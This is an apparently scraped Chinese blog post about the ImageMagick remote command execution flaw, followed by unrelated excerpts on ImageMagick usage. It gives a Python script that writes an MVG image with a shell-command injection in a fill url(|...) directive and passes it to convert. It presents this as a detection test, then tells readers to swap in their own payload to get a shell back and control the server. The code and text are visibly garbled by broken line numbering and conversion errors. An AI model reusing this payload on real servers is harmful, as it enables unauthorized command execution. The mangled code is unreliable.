ImageMagick遠端命令執行工具檢測工具

imagemagick這個漏洞昨天晚上就出來了，今天才有時間研究一下，今天自己也測試了一下

效果圖：

用lua寫了乙個檢測指令碼

python版本：

1

importos2
3 file = open("
./x","w"
)4 file.write("
push graphic-context\r\n")
5 file.write("
viewbox 0 0 640 480\r\n")
6 file.write("
fill 'url(\"|echo \"dangerous!)'\r\n")
7 file.write("
pop graphic-context\r\n")
8file.close()
910 res = os.system("
convert ./x ./y 2>/dev/null")
11if os.path.exists("x"
):12 os.remove("x"
)13if os.path.exists("y"
):14 os.remove("
y")

當然playload自己改吧，可以直接**個shell回來，直接拿到伺服器許可權

ImageMagick命令列工具

imagemagick 包括一組命令列工具來操作。你大部份習慣每次編輯都提供圖形使用者介面 gui 編輯影象就像gimp和photoshop一樣。然而，乙個圖形使用者介面不總是方便的。假如你想要從乙個網頁動態地處理乙個影象，或者你在不同時間生成一樣的或不同的影象，想要對許多影象或重複特定應用相同的操...

ImageMagick漏洞演示

centos安裝 wget tar zvxf imagemagick 6.4.0 0.tar.gz cd imagemagick 6.4.0 0 configure prefix usr locate imagemagick 6.4.0 with quantum depth 8 make make ...

ImageMagick使用小結

檢視是否安裝imagemagick sudo apt list grep imagemagick 安裝imagemagick sudo apt get install imagemagickimagemagick manual 識別1.png identify 1.png 1.png的詳細資訊 id...